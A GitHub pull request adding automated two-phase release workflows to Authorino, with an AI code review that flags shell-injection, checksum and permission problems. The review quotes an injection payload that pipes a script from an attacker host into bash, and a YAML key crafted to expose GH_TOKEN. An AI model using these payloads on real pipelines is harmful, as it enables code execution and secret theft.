Skip to content

Add two-phase release workflow - #666

Open
Boomatang wants to merge 3 commits into
mainfrom
RFC0020_two_phase_release_workflow
Open

Add two-phase release workflow#666
Boomatang wants to merge 3 commits into
mainfrom
RFC0020_two_phase_release_workflow

Conversation

@Boomatang

@Boomatang Boomatang commented Jul 29, 2026

Copy link
Copy Markdown
Member

Summary

Introduces an automated two-phase release process for Authorino, replacing the previous manual git-tag-and-build approach. The new workflow splits every release into a Pre-release phase (branch creation, version bump, code generation, PR) and a Release phase (smoke tests, tagging, image build, GitHub Release), with a mandatory human review gate between them.

This change implements the design specified in RFC: Two-Phase Release Workflow.

Motivation

The previous release process was entirely manual: a maintainer checked out a ref, created a signed tag, pushed it, manually triggered the image build, and hand-wrote release notes. This was error-prone, undocumented in automation, and lacked pre-release validation.

The two-phase approach automates the mechanical steps while preserving human oversight at the critical review point before a release is finalized.

What changed

New workflows

  • Pre-release (pre-release.yaml) — triggered manually with a target version. Creates the release-X.Y branch (if needed), opens a pre-release-vX.Y.Z branch that bumps release.yaml, runs make generate and make manifests, and opens a PR against the release branch.
  • Release (release.yaml) — triggered manually with a release branch name. Reads the version from release.yaml, validates the branch matches, runs smoke tests (lint, unit tests, CEL tests), creates an annotated tag, builds and pushes the multi-arch container image via build-images.yaml, and creates the GitHub Release.
  • Version Gate (version-gate.yaml) — runs on PRs targeting release-** branches when release.yaml changes. Validates that the version is not 0.0.0 on non-main branches and that any declared dependencies have published releases.

New scripts

  • parse-version.sh — extracts and validates semver components from release.yaml, used by the release workflow.
  • validate-release-yaml.sh — validates release.yaml content and dependency versions, used by the version gate.

Modified workflows

  • Build and push image (build-images.yaml) — now supports workflow_call with version and ref inputs so the release workflow can invoke it directly. Image tagging logic updated to use the version from inputs when provided.

New files

  • release.yaml — version source-of-truth file at the repository root. Set to 0.0.0 on main (active development) and updated to the target version on release branches.

Updated documentation

  • RELEASE.md — rewritten to document the new two-phase process, including step-by-step instructions, artifact locations.

Examples

Summary by CodeRabbit

  • New Features

    • Added a guided two-phase pre-release and final release process with version validation, review checkpoints, automated testing, tagging and release creation.
    • Added reusable workflows for versioned container image builds, release tagging and smoke testing.
    • Added automated validation of release metadata and dependency versions before merging.
  • Documentation

    • Updated release guidance with the new process, artefacts, versioning rules and automated build behaviour.
  • Bug Fixes

    • Improved safeguards against invalid versions, missing metadata, unavailable dependencies and duplicate release tags.

Signed-off-by: Jim Fitzpatrick <jfitzpat@redhat.com>
@coderabbitai

coderabbitai Bot commented Jul 29, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

The pull request adds a two-phase release process. It validates release metadata, prepares pre-release pull requests, builds versioned images, runs smoke tests, creates GitHub Releases, and documents the process.

Changes

Release automation

Layer / File(s) Summary
Version metadata and validation
.github/actions/install-yq/action.yaml, .github/scripts/*, release.yaml
Adds pinned yq installation, SemVer parsing, dependency release checks, and the release version field.
Pre-release workflow and version gate
.github/workflows/pre-release.yaml, .github/workflows/version-gate.yaml
Creates release branches and pre-release pull requests. Validates release metadata on release branches.
Final release and image pipeline
.github/workflows/build-images.yaml, .github/workflows/release.yaml, .github/workflows/smoke-test.yaml
Adds reusable workflow inputs. Coordinates tests, tagging, image publication, smoke tests, and GitHub Release creation.
Release process documentation
RELEASE.md
Documents the two-phase workflow, version source, artefacts, configuration, and automated builds.

Estimated code review effort: 4 (Complex) | ~45 minutes

Sequence Diagram(s)

sequenceDiagram
  participant Maintainer
  participant PreReleaseWorkflow
  participant ReleaseBranch
  participant ReleaseWorkflow
  participant BuildImages
  participant SmokeTest
  participant GitHubRelease
  Maintainer->>PreReleaseWorkflow: provide version and source branch
  PreReleaseWorkflow->>ReleaseBranch: create release and pre-release branches
  PreReleaseWorkflow->>ReleaseBranch: update release.yaml and generated files
  PreReleaseWorkflow->>Maintainer: open pre-release pull request
  Maintainer->>ReleaseWorkflow: provide release branch
  ReleaseWorkflow->>BuildImages: pass version and tagged ref
  BuildImages->>SmokeTest: run tests with built image
  SmokeTest->>ReleaseWorkflow: report completion
  ReleaseWorkflow->>GitHubRelease: create v<version> release
Loading

Possibly related PRs

  • Kuadrant/authorino#634 — Adds closely related release workflows, scripts, reusable image-build inputs, version gating, and release documentation.
  • Kuadrant/authorino#642 — Modifies related checkout and reusable workflow behaviour in build-images.yaml and smoke-test.yaml.

Suggested reviewers: guicassolato

Poem

A rabbit checks the version file,
Then builds a branch in tidy style.
Images hop through tests with care,
Tags and releases fill the air.
Two release phases now align,
With yq ready in the pipeline.

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and concisely describes the main change: adding an automated two-phase release workflow.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch RFC0020_two_phase_release_workflow

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 13

🧹 Nitpick comments (2)
.github/workflows/pre-release.yaml (1)

16-18: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Scope write permissions to the jobs that need them.

open-pr only needs pull-requests: write (and contents: read if checkout remains), while setup and prepare-release need repository write access. Set minimal job-level permissions instead of granting both write scopes to every step.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/pre-release.yaml around lines 16 - 18, Move permissions
from the workflow-level block into the individual jobs in pre-release.yaml.
Configure open-pr with only pull-requests: write and contents: read if it still
checks out the repository; configure setup and prepare-release with only the
repository write access they require, avoiding broad permissions for every job.

Source: Linters/SAST tools

.github/workflows/build-images.yaml (1)

78-79: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Do not retain the checkout token in build jobs.

These jobs do not push Git refs, so set persist-credentials: false. This removes unnecessary credentials from the workspace before it is consumed by the Docker build.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/build-images.yaml around lines 78 - 79, Update the
checkout action configuration near the ref input to set persist-credentials to
false. Keep the existing inputs.ref behavior unchanged and ensure credentials
are not retained in the workspace for build jobs.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/actions/install-yq/action.yaml:
- Around line 16-18: Add SHA-256 verification to the yq installation steps:
download the release asset to a temporary location, validate it against the
upstream checksum for the pinned version before installation, then move it to
/usr/local/bin/yq and run chmod only after verification succeeds. Update the
action inputs or workflow configuration as needed to provide the expected
checksum.

In @.github/scripts/parse-version.sh:
- Around line 17-20: Use a single SemVer-compliant validation and parsing path:
update .github/scripts/parse-version.sh lines 17-20 to validate supported
prerelease and build metadata while rejecting invalid numeric components such as
01.2.3, and update .github/workflows/pre-release.yaml lines 33-45 to call the
shared parser/validator instead of applying its own regex.

In @.github/scripts/validate-release-yaml.sh:
- Around line 13-18: Update the version validation in validate-release-yaml.sh
to invoke the shared version parser or validator for VERSION, enforcing the
declared SemVer contract before release orchestration. Preserve the existing
non-main branch rejection for the 0.0.0 sentinel while ensuring invalid values
such as “invalid” fail validation.
- Around line 20-22: Update the dependency iteration around DEPS and dep_version
to use yq’s to_entries[] output, passing each key and value as data rather than
interpolating YAML keys into yq expressions. Validate each dependency name
against the repository identifier format before processing it, and preserve the
existing version-validation behavior for valid entries.

In @.github/workflows/build-images.yaml:
- Around line 42-45: Update the version-handling step around the inputs.version
branch to pass the input through the step environment instead of interpolating
it into Bash. Validate the environment value against the expected version format
before using it, and write version and version_tag outputs with quoted printf
calls to prevent shell injection and forged output entries.
- Around line 78-79: Update the image build workflow after checkout to derive
the commit SHA from the checked-out repository using git rev-parse HEAD. Reuse
this derived SHA for prepare.git_sha, env.IMG_TAGS, and the raw SHA manifest
tag, replacing github.sha so all provenance and image tags reflect inputs.ref.

In @.github/workflows/release.yaml:
- Around line 83-94: The “Create and push tag” step must be retry-safe after
later release steps fail. Update its existing-tag handling so a tag already
pointing to the expected release commit is accepted and reused, while
conflicting tags still fail; preserve tag creation and pushing for the
absent-tag case.
- Around line 22-24: Update the release workflow so read-version resolves and
exports the validated commit SHA as a job output; make smoke-tests, tag, and
create-release checkout that SHA instead of independently resolving
inputs.release-branch. Before tagging in the tag job, verify the release branch
still points to the exported SHA and stop if it has moved, while preserving the
existing release flow for a matching branch.
- Around line 36-38: Update the release workflow’s branch comparison around
EXPECTED_BRANCH to pass the manual input through the step’s env as
RELEASE_BRANCH, then compare and report using "$RELEASE_BRANCH" instead of
interpolating inputs.release-branch directly into the Bash script. Preserve the
existing expected-branch validation behavior.
- Around line 22-32: Update the release workflow around the actions/checkout,
install-yq, and Parse version from release.yaml steps so trusted tooling is
loaded from the workflow’s pinned revision rather than inputs.release-branch.
Read only the target branch’s release.yaml for version validation, and accept
steps.parse outputs only after that validation; do not execute scripts or action
definitions from the selected branch.
- Around line 98-102: The release workflow must stop forwarding all secrets and
explicitly pass only IMG_REGISTRY_USERNAME and IMG_REGISTRY_TOKEN to the
build-images workflow call in .github/workflows/release.yaml (lines 98-102),
declaring the corresponding workflow-call secrets as required. Update RELEASE.md
(line 52) to document explicit registry-secret passing instead of secrets:
inherit.
- Around line 11-12: Remove the workflow-level contents: write permission and
scope permissions per job in the release workflow: grant only tag and
create-release the required contents write access, while keeping read/parsing
and testing jobs least-privileged. Update the build-image job to explicitly
provide id-token write, attestations write, and contents read for the reusable
build-images workflow.

In @.github/workflows/version-gate.yaml:
- Around line 22-26: Update the version-gate workflow’s script invocation to
define BRANCH in env from github.base_ref, then pass "$BRANCH" to
validate-release-yaml.sh instead of github.head_ref, ensuring validation uses
the PR’s target branch.

---

Nitpick comments:
In @.github/workflows/build-images.yaml:
- Around line 78-79: Update the checkout action configuration near the ref input
to set persist-credentials to false. Keep the existing inputs.ref behavior
unchanged and ensure credentials are not retained in the workspace for build
jobs.

In @.github/workflows/pre-release.yaml:
- Around line 16-18: Move permissions from the workflow-level block into the
individual jobs in pre-release.yaml. Configure open-pr with only pull-requests:
write and contents: read if it still checks out the repository; configure setup
and prepare-release with only the repository write access they require, avoiding
broad permissions for every job.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 90c1f300-467d-4d13-98f4-afe4c5ac9c16

📥 Commits

Reviewing files that changed from the base of the PR and between 58fecc6 and c2fd406.

📒 Files selected for processing (9)
  • .github/actions/install-yq/action.yaml
  • .github/scripts/parse-version.sh
  • .github/scripts/validate-release-yaml.sh
  • .github/workflows/build-images.yaml
  • .github/workflows/pre-release.yaml
  • .github/workflows/release.yaml
  • .github/workflows/version-gate.yaml
  • RELEASE.md
  • release.yaml

Comment on lines +16 to +18
sudo wget -qO /usr/local/bin/yq \
"https://github.com/mikefarah/yq/releases/download/v${{ inputs.version }}/yq_linux_amd64"
sudo chmod +x /usr/local/bin/yq

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== file =="
cat -n .github/actions/install-yq/action.yaml

echo "== usages =="
rg -n "install-yq|yq_linux_amd64|yq:" .github -S || true

echo "== workflow files relevant =="
git ls-files .github | sed -n '1,120p'

Repository: Kuadrant/authorino

Length of output: 1799


Verify the yq binary before installing it with sudo.

The action downloads an executable directly into /usr/local/bin without integrity validation, and it is used by release/version-gate workflows. Add the upstream SHA-256 for the pinned release asset and check it before chmod.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/actions/install-yq/action.yaml around lines 16 - 18, Add SHA-256
verification to the yq installation steps: download the release asset to a
temporary location, validate it against the upstream checksum for the pinned
version before installation, then move it to /usr/local/bin/yq and run chmod
only after verification succeeds. Update the action inputs or workflow
configuration as needed to provide the expected checksum.

Comment on lines +17 to +20
if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.]+)?$ ]]; then
echo "::error::Invalid semver: $VERSION"
exit 1
fi

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | 🏗️ Heavy lift

Use one SemVer-compliant validator across both release paths. The duplicated regex accepts invalid versions such as 01.2.3 and rejects valid versions such as 1.2.3-rc-1; the two paths can therefore create or reject releases inconsistently.

  • .github/scripts/parse-version.sh#L17-L20: replace the regex with a SemVer-compliant validator and ensure parsing handles any supported prerelease/build components.
  • .github/workflows/pre-release.yaml#L33-L45: call the shared parser/validator rather than maintaining a second regex.
📍 Affects 2 files
  • .github/scripts/parse-version.sh#L17-L20 (this comment)
  • .github/workflows/pre-release.yaml#L33-L45
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/scripts/parse-version.sh around lines 17 - 20, Use a single
SemVer-compliant validation and parsing path: update
.github/scripts/parse-version.sh lines 17-20 to validate supported prerelease
and build metadata while rejecting invalid numeric components such as 01.2.3,
and update .github/workflows/pre-release.yaml lines 33-45 to call the shared
parser/validator instead of applying its own regex.

Comment on lines +13 to +18
VERSION=$(yq '.authorino.version' "$RELEASE_YAML")

if [[ "$BRANCH" != "main" && "$VERSION" == "0.0.0" ]]; then
echo "::error::release.yaml version is 0.0.0 on branch '$BRANCH' -- must specify a release version on non-main branches"
exit 1
fi

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Validate the version format, not only the 0.0.0 sentinel.

release.yaml with authorino.version: invalid passes this script on a release PR. Invoke the shared version parser here (or a shared validator) so the Version Gate enforces its declared SemVer contract before release orchestration.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/scripts/validate-release-yaml.sh around lines 13 - 18, Update the
version validation in validate-release-yaml.sh to invoke the shared version
parser or validator for VERSION, enforcing the declared SemVer contract before
release orchestration. Preserve the existing non-main branch rejection for the
0.0.0 sentinel while ensuring invalid values such as “invalid” fail validation.

Comment on lines +20 to +22
DEPS=$(yq '.dependencies | keys | .[]' "$RELEASE_YAML" 2>/dev/null || true)
for dep in $DEPS; do
dep_version=$(yq ".dependencies.${dep}" "$RELEASE_YAML")

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Do not interpolate YAML keys into yq programs.

A PR can add a quoted dependency key such as foo | env(GH_TOKEN), causing line 22 to evaluate it as yq code and potentially feed sensitive environment data into the error output. Iterate over to_entries[] and read each key/value pair as data; also validate dependency names as repository identifiers.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/scripts/validate-release-yaml.sh around lines 20 - 22, Update the
dependency iteration around DEPS and dep_version to use yq’s to_entries[]
output, passing each key and value as data rather than interpolating YAML keys
into yq expressions. Validate each dependency name against the repository
identifier format before processing it, and preserve the existing
version-validation behavior for valid entries.

Comment on lines +42 to +45
if [[ -n "${{ inputs.version }}" ]]; then
echo "version=${{ inputs.version }}" >> $GITHUB_OUTPUT
echo "version_tag=v${{ inputs.version }}" >> $GITHUB_OUTPUT
elif [[ ${GITHUB_REF_NAME/\//-} =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-.+)?$ ]]; then

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow target =="
sed -n '1,120p' .github/workflows/build-images.yaml 2>/dev/null || true

echo
echo "== all inputs.version occurrences in workflows =="
rg -n "inputs\.version|GITHUB_OUTPUT|GITHUB_REF_NAME" .github/workflows -S

echo
echo "== GitHub Actions syntax/security scan references (zizmor, semgrep, actionlint) =="
sed -n '1,80p' README.md 2>/dev/null || true
rg -n "zizmor|actionlint|semgrep|github-actions|workflow\\/" .github README.md 2>/dev/null || true

echo
echo "== shell injection probe for direct string interpolation in quoted expansion =="
python3 - <<'PY'
import subprocess, tempfile, os
evil = 'README.md;false "x=1"'
script = f'''set -e
if [[ -n "READER_VERSION" ]]; then
  echo "readme=$READER_VERSION" >> "$GITHUB_OUTPUT"
elif [[ ${"{GITHUB_REF_NAME\"}"}.x =~ ^v[0-9]+ ]]; then
  echo "ok=malicious" >> "$GITHUB_OUTPUT"
fi
'''
env = dict(os.environ, GITHUB_OUTPUT='tmp', GITHUB_REF_NAME='v1.2.3')
result = subprocess.run(['bash','/bin/echo','README.md;false "x=1"'], text=True, capture_output=True)
# direct example:
src = f'''if [[ -n "{[evil[0]]*3}" ]]; then echo "ok"; fi'''
PY

Repository: Kuadrant/authorino

Length of output: 15101


🌐 Web query:

zizmor github-actions GitHub Actions security audit templated expressions shell injection GITHUB_OUTPUT

💡 Result:

zizmor is a security-focused static analysis tool designed specifically for auditing GitHub Actions workflows and configurations [1][2]. It helps identify common security vulnerabilities, including template injection and unsafe handling of workflow context variables [2]. Regarding the specific security concerns you mentioned: Template Injection and Shell Injection zizmor detects dangerous usage of templated expressions (${{ ... }}) [2]. A primary risk in GitHub Actions occurs when attacker-controlled input—such as pull request titles, branch names, or issue content—is directly interpolated into a run: step using the ${{ ... }} syntax [3][4]. Because this interpolation happens before the shell executes the command, an attacker can inject malicious shell code (shell injection) [3][4]. zizmor flags these instances to encourage safer alternatives, such as assigning untrusted input to environment variables via the env: block and referencing them as standard shell variables (e.g., "$MY_VAR") [3][4]. GITHUB_OUTPUT Injection zizmor also helps identify issues related to $GITHUB_OUTPUT [5]. Writing unsanitized, user-controllable input to the $GITHUB_OUTPUT file is a security risk because it allows an attacker to inject additional output keys or smuggle newline-delimited payloads that downstream steps may inadvertently consume and execute [6]. This is effectively a variant of environment file injection [6]. To mitigate this, security best practices (which zizmor-related documentation emphasizes) advise against serializing untrusted context directly to $GITHUB_OUTPUT, recommending instead that inputs be validated, sanitized, or handled via environment variables that do not risk premature shell or interpreter execution [6]. How to Use zizmor zizmor can be run locally or integrated into your CI/CD pipelines [1][7]. - Integration: The simplest way to integrate it is via the zizmor-action [7][8]. It supports uploading results as SARIF files for GitHub Advanced Security users [7][8]. - Configuration: You can run it offline, customize its sensitivity (e.g., using different personas), and output results in various formats like SARIF, JSON, or plain text [1][5][9]. For detailed information on the specific rules implemented in the tool, refer to the official zizmor audit documentation [5].

Citations:


🌐 Web query:

GitHub Actions zizmor rule context-in-expression GITHUB_OUTPUT quote expressions

💡 Result:

The zizmor tool is a static analysis security scanner for GitHub Actions workflows that helps identify vulnerabilities, including template injection risks [1][2]. While there is no specific rule named "context-in-expression" in the public documentation, zizmor utilizes an internal expression analysis engine to trace how data flows from workflow contexts (like job outputs or step inputs) into potentially executable areas [3][4][5]. The core security concern zizmor addresses in this area is template injection, where untrusted or attacker-controlled data from contexts is used in a way that allows arbitrary code execution [5][2]. Zizmor's analysis engine tracks "contexts" (e.g., github.actor, inputs.foo, or outputs from steps) as they flow through expressions [3][4]. Regarding GITHUB_OUTPUT and quoting, GitHub Actions workflows often use GITHUB_OUTPUT to set environment variables for subsequent steps [6][7]. A common security best practice—and a pattern that static analysis tools like zizmor encourage—is to treat output data as untrusted input. When such data is later used in an expression, failing to properly quote or sanitize the expression can create injection vectors if the output contains characters that alter the structure of the YAML or the expression itself [5]. Zizmor evaluates whether an expression is "safe" by determining if it is composed entirely of static, non-attacker-controlled elements (like string literals defined in the workflow) or if it incorporates variable context data that could be maliciously influenced [5]. If your workflow uses expressions involving GITHUB_OUTPUT or similar context-derived values, zizmor may flag these if it determines that the data flows directly into an execution context without sufficient insulation or structural safety [3][5]. To remediate such findings, ensure that any dynamic output being referenced is handled securely, such as by using JSON functions to safely pass complex data or by ensuring that string concatenation does not lead to unintended code evaluation [8][5].

Citations:


Avoid interpolating inputs.version directly in the shell script.

GitHub Actions substitutes ${{ inputs.version }} before Bash parses the step, so a crafted version value can inject shell commands in the if guard and append forged entries to $GITHUB_OUTPUT. Pass it through env, validate the expected version shape, and write quoted values with printf.

🧰 Tools
🪛 zizmor (1.28.0)

[error] 42-42: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 43-43: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 44-44: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/build-images.yaml around lines 42 - 45, Update the
version-handling step around the inputs.version branch to pass the input through
the step environment instead of interpolating it into Bash. Validate the
environment value against the expected version format before using it, and write
version and version_tag outputs with quoted printf calls to prevent shell
injection and forged output entries.

Source: Linters/SAST tools

Comment on lines +22 to +32
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # ratchet:actions/checkout@v4
with:
ref: ${{ inputs.release-branch }}

- uses: ./.github/actions/install-yq

- name: Parse version from release.yaml
id: parse
run: |
chmod +x .github/scripts/parse-version.sh
.github/scripts/parse-version.sh

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | 🏗️ Heavy lift

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo 'Tracked workflow files:'
git ls-files '.github/workflows/*' '.github/actions/**' '.github/scripts/**' | sort

echo
echo 'Release workflow excerpt:'
if [ -f .github/workflows/release.yaml ]; then
  nl -ba .github/workflows/release.yaml | sed -n '1,90p'
fi

echo
echo 'Relevant checkout/action/script files:'
for f in .github/actions/install-yq/action.yaml .github/scripts/parse-version.sh; do
  if [ -f "$f" ]; then
    echo "=== $f ==="
    nl -ba "$f" | sed -n '1,200p'
  else
    echo "MISSING: $f"
  fi
done

echo
echo 'Other use of this checkout ref / run before actions:'
rg -n "inputs\.release-branch|checkout@|run:\s*$|parse-version|release.yaml|actions/checkout|install-yq" .github/workflows .github/actions .github/scripts 2>/dev/null || true

Repository: Kuadrant/authorino

Length of output: 782


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo 'Relevant files (sorted):'
printf '%s\n' $(git ls-files '.github/workflows/*' '.github/actions/**' '.github/scripts/**' | sort)

echo
echo 'Release workflow excerpt:'
awk '{printf "%4d\t%s\n", NR, $0}' .github/workflows/release.yaml | sed -n '1,100p'

echo
echo 'install-yq action:'
awk '{printf "%4d\t%s\n", NR, $0}' .github/actions/install-yq/action.yaml | sed -n '1,200p'

echo
echo 'parse-version script:'
awk '{printf "%4d\t%s\n", NR, $0}' .github/scripts/parse-version.sh | sed -n '1,200p'

echo
echo 'validate-release-yaml script:'
awk '{printf "%4d\t%s\n", NR, $0}' .github/scripts/validate-release-yaml.sh | sed -n '1,200p'

echo
echo 'Git ref context for target/HEAD:'
git reflog -n 3 HEAD 2>/dev/null || true
git show --stat --oneline HEAD 2>/dev/null | sed -n '1,40p' || true
git show --stat --oneline HEAD^ 2>/dev/null | sed -n '1,40p' || true

echo
echo 'Tracked vs untracked status summary:'
git status --short 2>/dev/null | head -50 || true

echo
echo 'Diff for release workflow around lines 15-45:'
git diff -- .github/workflows/release.yaml 2>/dev/null | sed -n '1,160p' || true

Repository: Kuadrant/authorino

Length of output: 8420


Execute trusted release tooling before reading the selected branch.

actions/checkout is first resolved to ${{ inputs.release-branch }}, so steps before the branch/version validation can load .github/actions/install-yq/action.yaml and .github/scripts/parse-version.sh from that branch. Use pinned workflow-tooling from the workflow revision and only read release.yaml from the target branch before accepting steps.parse outputs.

🧰 Tools
🪛 zizmor (1.28.0)

[warning] 22-24: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yaml around lines 22 - 32, Update the release
workflow around the actions/checkout, install-yq, and Parse version from
release.yaml steps so trusted tooling is loaded from the workflow’s pinned
revision rather than inputs.release-branch. Read only the target branch’s
release.yaml for version validation, and accept steps.parse outputs only after
that validation; do not execute scripts or action definitions from the selected
branch.

Comment on lines +36 to +38
EXPECTED_BRANCH="release-${{ steps.parse.outputs.major }}.${{ steps.parse.outputs.minor }}"
if [[ "${{ inputs.release-branch }}" != "$EXPECTED_BRANCH" ]]; then
echo "::error::Branch '${{ inputs.release-branch }}' does not match version ${{ steps.parse.outputs.version }} (expected branch: $EXPECTED_BRANCH)"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow excerpt =="
sed -n '1,120p' .github/workflows/release.yaml | cat -n

echo
echo "== release-branch inputs/usages =="
rg -n "release-branch|RELEASE_BRANCH|run:|steps\.parse\.outputs|echo ::error" .github/workflows/release.yaml || true

Repository: Kuadrant/authorino

Length of output: 5708


🌐 Web query:

GitHub Actions workflow_dispatch inputs malicious value command injection run step bash

💡 Result:

Command injection in GitHub Actions workflow_dispatch inputs occurs when untrusted user input is directly interpolated into a run command block using the ${{ }} syntax [1][2]. Because this syntax is evaluated and expanded before the shell executes the command, a malicious actor can break out of the intended command string to execute arbitrary shell commands on the runner [3][1][4]. ### How the Vulnerability Happens When a workflow uses a run step like this, it is vulnerable: yaml run: echo "Processing: ${{ github.event.inputs.user_input }}" If an attacker provides an input like "; curl attacker.com/malicious.sh | bash; #, the expanded command becomes: bash echo "Processing: ""; curl attacker.com/malicious.sh | bash; #" The shell interprets this as three separate commands, executing the attacker's script with the privileges of the GitHub Actions runner [1][2]. ### Prevention and Mitigation To prevent command injection, you must treat all workflow_dispatch inputs as untrusted data [5][2]. 1. Use Environment Variables (Recommended): Instead of direct interpolation, assign the input to an environment variable in the env section. The variable is then handled as data by the shell, not as part of the command string [1][5][4]. yaml steps: - name: Run script env: USER_INPUT: ${{ github.event.inputs.user_input }} run: echo "Processing: $USER_INPUT" 2. Validate Inputs: Implement strict validation on inputs before they are used [2]. - Use type: choice in your workflow_dispatch definition whenever possible to restrict inputs to a predefined list of safe values [2]. - If using type: string, apply regex validation or shell-level checks (e.g., case statements) to ensure the input contains only expected characters [1][2]. 3. Enforce Principle of Least Privilege: Configure permissions at the job or workflow level to be as restrictive as possible (e.g., contents: read) [2][6]. This limits the potential impact—such as repository modification or secret exfiltration—if a command injection vulnerability is exploited [1][2]. 4. Use Security Tools: Enable automated tools to scan your workflow files for dangerous patterns. CodeQL has built-in queries to detect unsafe interpolation, and tools like zizmor can provide additional defense-in-depth analysis [7][5][8].

Citations:


Avoid interpolating release-branch into Bash source.

The manual input is inserted directly into the workflow script, so a specially crafted value can execute shell commands before the comparison runs. Pass it through env: RELEASE_BRANCH: and use "$RELEASE_BRANCH" in the comparison, rather than interpolating it into the run script.

🧰 Tools
🪛 zizmor (1.28.0)

[info] 36-36: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[info] 36-36: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 37-37: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 38-38: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[info] 38-38: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yaml around lines 36 - 38, Update the release
workflow’s branch comparison around EXPECTED_BRANCH to pass the manual input
through the step’s env as RELEASE_BRANCH, then compare and report using
"$RELEASE_BRANCH" instead of interpolating inputs.release-branch directly into
the Bash script. Preserve the existing expected-branch validation behavior.

Source: Linters/SAST tools

Comment on lines +83 to +94
- name: Create and push tag
run: |
VERSION="${{ needs.read-version.outputs.version }}"
TAG="v${VERSION}"
if git rev-parse "$TAG" >/dev/null 2>&1; then
echo "::error::Tag $TAG already exists"
exit 1
fi
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git tag -a "$TAG" -m "Release $TAG"
git push origin "$TAG"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

Make tag creation retry-safe.

The tag is pushed before image building and GitHub Release creation. If a later step fails, rerunning this workflow always stops at the existing-tag check, leaving the release unrecoverable without manual tag deletion. Treat an existing tag pointing to the expected commit as idempotent, or create the tag only after the build succeeds.

